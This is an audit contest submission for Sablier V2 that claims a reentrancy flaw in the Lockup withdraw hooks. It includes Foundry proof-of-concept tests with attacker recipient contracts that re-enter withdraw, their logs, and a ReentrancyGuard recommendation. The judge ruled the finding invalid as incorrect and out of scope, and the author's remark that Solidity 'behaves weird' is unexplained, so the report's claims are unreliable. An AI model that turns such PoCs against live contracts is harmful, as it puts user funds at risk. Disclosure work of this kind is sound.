Sablier
Sablier
DeFiFoundry
53,440 USDC
View results
Previous Next
Submission Details
Severity: medium
Invalid

A recipient/sender can reenter ```SablierV2Lockup::withdraw``` function to report back false/outdated information to the sender/recipient contract respectively.

touthang

Summary

The contract SablierV2Lockup which is inherrited by SablierV2LockupLinear, SablierV2LockupTranched and SablierV2LockupDynamic, has a function SablierV2Lockup::withdraw which implements a hook to report back to the sender and recipient if they are a contract without reverting, this function could be reentered by a malicious users to report false information back to the sender/recipient.

// Interaction: if `msg.sender` is not the recipient and the recipient is a contract, try to invoke the
// withdraw hook on it without reverting if the hook is not implemented, and also without bubbling up
// any potential revert.
if (msg.sender != recipient && recipient.code.length > 0) {
try ISablierV2Recipient(recipient).onLockupStreamWithdrawn({
streamId: streamId,
caller: msg.sender,
to: to,
amount: amount
}) { } catch { }
}
​
// Interaction: if `msg.sender` is not the sender, the sender is a contract and is different from the
// recipient, try to invoke the withdraw hook on it without reverting if the hook is not implemented, and also
// without bubbling up any potential revert.
if (msg.sender != sender && sender.code.length > 0 && sender != recipient) {
try ISablierV2Sender(sender).onLockupStreamWithdrawn({
streamId: streamId,
caller: msg.sender,
to: to,
amount: amount
}) { } catch { }
}

Vulnerability Details

This happens because although the function doesn't catch anything it doesn't have a protection for reentrancy i.e. recipient or the sender contract can reenter to manipulate each other.

Lets take an example where a sender is contract, example- sender is a contract which has created an airstream campaign and records amounts withdrawn for each stream created after the recipients claim airdrops.

POC

// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.8.22 <0.9.0;
​
import { SablierV2LockupTranched } from "src/SablierV2LockupTranched.sol";
import { SablierV2NFTDescriptor } from "src/SablierV2NFTDescriptor.sol";
import "src/types/DataTypes.sol";
​
import { Test, console } from "forge-std/src/Test.sol";
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
​
// create a mock token
contract ERC20Mock is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) { }
​
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
​
contract testTryCatch is Test {
SablierV2NFTDescriptor nftDescriptor;
SablierV2LockupTranched lockupTranched;
ERC20Mock WETH; // mock weth token
​
address admin = makeAddr("admin");
address bob = makeAddr("bob");
senderContract public sender;
recipientContract public recipient;
​
function setUp() external {
WETH = new ERC20Mock("mock weth token", "WETH");
​
nftDescriptor = new SablierV2NFTDescriptor();
lockupTranched = new SablierV2LockupTranched(admin, nftDescriptor, 10);
​
sender = new senderContract();
recipient = new recipientContract();
​
WETH.mint(address(sender), type(uint256).max);
}
​
function senderCreateStreamForBob() internal returns (uint256 streamId) {
//assuming the sender contract has functions to create a stream
vm.startPrank(address(sender));
WETH.approve(address(lockupTranched), type(uint256).max);
​
// prepare params
LockupTranched.TrancheWithDuration[] memory Tranches = new LockupTranched.TrancheWithDuration[](1);
Tranches[0] = LockupTranched.TrancheWithDuration({
amount: 1000e18,
duration: 10 // just 100 seconds
});
​
LockupTranched.CreateWithDurations memory params;
params.sender = address(sender);
params.recipient = bob;
params.totalAmount = 1000e18; // create a stream with 1000 tokens
params.asset = WETH;
params.transferable = true;
params.tranches = Tranches;
// create stream
streamId = lockupTranched.createWithDurations(params);
vm.stopPrank();
}
​
function testRecipientReenter() external {
uint256 streamId = senderCreateStreamForBob();
console.log("WETH in lockup before the withdraw :", WETH.balanceOf(address(lockupTranched)));
​
skip(1 days); // end the stream to unlock all the amount
vm.startPrank(bob);
lockupTranched.transferFrom(bob, address(recipient), streamId); // transfer his stream to the recipient contract that can reenter
lockupTranched.withdraw(streamId, address(recipient), 1); // withdraw dust
vm.stopPrank();
​
console.log("WETH in lockup after the withdraw :", WETH.balanceOf(address(lockupTranched)));
console.log("WETH in recipient contract after withdraw :", WETH.balanceOf(address(recipient)));
console.log("senderRecordedAmount :", sender.senderRecordedAmount());
console.log("sender recorded caller :", sender.Caller());
​
}
}
​
contract senderContract {
uint256 public StreamId;
address public Caller;
address public To;
uint128 public senderRecordedAmount;
​
function onLockupStreamWithdrawn(uint256 streamId, address caller, address to, uint128 amount) external {
// records and uses the information for something
StreamId = streamId;
Caller = caller;
To = to;
senderRecordedAmount = amount;
}
}
​
contract recipientContract {
​
function onLockupStreamWithdrawn(uint256 streamId, address caller, address to, uint128 amount) external {
SablierV2LockupTranched(msg.sender).withdraw(1, address(this), 999_999_999_999_999_999_999);
}
}

and run the test;

asuilinux@asui:~/2024-audits/sablier-2/2024-05-Sablier/v2-core$ forge test --mt testRecipientReenter -vvv
[⠆] Compiling...
[⠰] Compiling 1 files with 0.8.23
[⠔] Solc 0.8.23 finished in 2.97s
Compiler run successful!
​
Ran 1 test for test/testTryCatch.t.sol:testTryCatch
[PASS] testRecipientReenter() (gas: 405489)
Logs:
WETH in lockup before the withdraw : 1000000000000000000000
WETH in lockup after the withdraw : 0
WETH in recipient contract after withdraw : 1000000000000000000000
senderRecordedAmount : 1
sender recorded caller : 0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e
​
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.61ms (506.58µs CPU time)
​
Ran 1 test suite in 14.08ms (1.61ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

here the recipient successfully withdraws all and reports only dust amount to the sender(airstream creator) when it should have been reporting 999_999_999_999_999_999_999 which is the second call, instead it allows the sender contract to store only the first withdrawn amount i.e 1(dust).

Note: This doesn't end here actually, after much testing we could see that solidity behaves weird when a function is reentered that has two try catch hooks. When reentered state changes will be done with operations += but not with =, which actually opens more attack vectors(see MORE POC section). I couldn't give a reason why but the examples given should be enough to proof that reentrancy guard is a must.

MORE POC
// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.8.22 <0.9.0;
​
import { SablierV2LockupTranched } from "src/SablierV2LockupTranched.sol";
import { SablierV2NFTDescriptor } from "src/SablierV2NFTDescriptor.sol";
import "src/types/DataTypes.sol";
​
import { Test, console } from "forge-std/src/Test.sol";
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
​
// create a mock token
contract ERC20Mock is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) { }
​
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
​
contract testTryCatch is Test {
SablierV2NFTDescriptor nftDescriptor;
SablierV2LockupTranched lockupTranched;
ERC20Mock WETH; // mock weth token
​
address admin = makeAddr("admin");
address bob = makeAddr("bob");
address public bob2 = makeAddr("bob22");
senderContract public sender;
recipientContract public recipient;
​
function setUp() external {
WETH = new ERC20Mock("mock weth token", "WETH");
​
nftDescriptor = new SablierV2NFTDescriptor();
lockupTranched = new SablierV2LockupTranched(admin, nftDescriptor, 10);
​
sender = new senderContract();
recipient = new recipientContract();
​
WETH.mint(address(sender), type(uint256).max);
}
​
function senderCreateStreamForBob() internal returns (uint256 streamId1, uint streamId2) {
//assuming the sender contract has functions to create a stream
vm.startPrank(address(sender));
WETH.approve(address(lockupTranched), type(uint256).max);
​
// prepare params
LockupTranched.TrancheWithDuration[] memory Tranches = new LockupTranched.TrancheWithDuration[](1);
Tranches[0] = LockupTranched.TrancheWithDuration({
amount: 1000e18,
duration: 10 // just 100 seconds
});
​
LockupTranched.CreateWithDurations memory params;
params.sender = address(sender);
params.recipient = bob;
params.totalAmount = 1000e18; // create a stream with 1000 tokens
params.asset = WETH;
params.transferable = true;
params.tranches = Tranches;
// create stream
streamId1 = lockupTranched.createWithDurations(params);
​
// modify params for bob2
params.recipient = bob2;
streamId2 = lockupTranched.createWithDurations(params); // create another stream
vm.stopPrank();
}
​
function testRecipientReenter() external {
(uint256 streamId1, uint streamId2) = senderCreateStreamForBob();
console.log("WETH in lockup before the withdraw :", WETH.balanceOf(address(lockupTranched)));
​
skip(1 days); // end the stream to unlock all the amount
vm.startPrank(bob);
lockupTranched.transferFrom(bob, address(recipient), streamId1); // transfer his stream to the recipient contract that can reenter
lockupTranched.withdraw(streamId1, address(recipient), 1); // withdraw for first stream
vm.stopPrank();
​
console.log("WETH in lockup after the withdraw :", WETH.balanceOf(address(lockupTranched)));
console.log("WETH in recipient contract after withdraw :", WETH.balanceOf(address(recipient)));
console.log("senderRecordedAmount :", sender.senderRecordedAmount());
console.log("recorded recipient :", sender.recipient());
console.log("bob2 address :", bob2);
​
LockupTranched.StreamLT memory streamBob2 = lockupTranched.getStream(streamId2); // get the amount
console.log("bob2 withdrawn amount :", streamBob2.amounts.withdrawn);
}
}
​
contract senderContract {
uint256 public StreamId;
address public Caller;
address public recipient;
uint128 public senderRecordedAmount;
​
function onLockupStreamWithdrawn(uint256 streamId, address caller, address to, uint128 amount) external {
// records and uses the information for something
StreamId = streamId;
Caller = caller;
recipient = to;
senderRecordedAmount = amount;
}
}
​
contract recipientContract {
​
​
function onLockupStreamWithdrawn(uint256 , address , address , uint128 ) external {
LockupTranched.StreamLT memory streamBob2 = SablierV2LockupTranched(msg.sender).getStream(2);
address bob2 = streamBob2.recipient;
SablierV2LockupTranched(msg.sender).withdraw(2, bob2, 1000e18); // withdraw full amount of his another stream without even reporting it
}
}

Warning: test code might be messy forgive me your honor.

run the test:

asuilinux@asui:~/2024-audits/sablier-2/2024-05-Sablier/v2-core$ forge test --mt testRecipientReenter -vvv
[⠆] Compiling...
[⠒] Compiling 1 files with 0.8.23
[⠑] Solc 0.8.23 finished in 3.24s
Compiler run successful!
​
Ran 1 test for test/testTryCatch.t.sol:testTryCatch
[PASS] testRecipientReenter() (gas: 650503)
Logs:
WETH in lockup before the withdraw : 2000000000000000000000
WETH in lockup after the withdraw : 999999999999999999999
WETH in recipient contract after withdraw : 1
senderRecordedAmount : 1
recorded recipient : 0xc7183455a4C133Ae270771860664b6B7ec320bB1
bob2 address : 0x43F468db91CC0a2e8975E3F32D43fc03e27ab75E
bob2 withdrawn amount : 1000000000000000000000
​
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.90ms (703.55µs CPU time)

here we can see that the first stream recipient and the first id is recorded and ignores the second call but bob successfully withdraws all of his second stream amount without reporting.

what this does is;

  • bob has 2 streams

  • bob sends one of his stream to the contract that can reenter

  • contract reenters withdraw but this time with another streamId

  • sender contract only records the first streamId which is 1 and ignores the second one

Impact

Because reentrancy is not handeled stream recipients/senders can recieve false/outdated information.
The impact of this attack really depends on what the sender/recipient contract use the reported information for, and as the protocol grows, with more streams there could be many different types of impact ranging from critical to low.

impact: medium, because it affects the users of the protocol and the type of impact would depend on how the contracts handle the information. Example- critical if it is used as a reward mechanism, low if used only for like view functions.

likelihood: high, because anyone could do this.

Tools Used

manual

Recommendations

Import the ReentrancyGuard contract by OZ which has the nonReentrant modifier:

modifier nonReentrant() {
_nonReentrantBefore();
_;
_nonReentrantAfter();
}

add this modifer in the withdraw function in SablierV2Lockup contract and also in other state changing functions like cancel, renounce, etc. for unknown impacts.

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement
touthang Submitter
about 1 year ago
touthang Submitter
about 1 year ago
touthang Submitter
about 1 year ago
inallhonesty Lead Judge
about 1 year ago
touthang Submitter
about 1 year ago
touthang Submitter
about 1 year ago
touthang Submitter
about 1 year ago
inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Out of scope

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.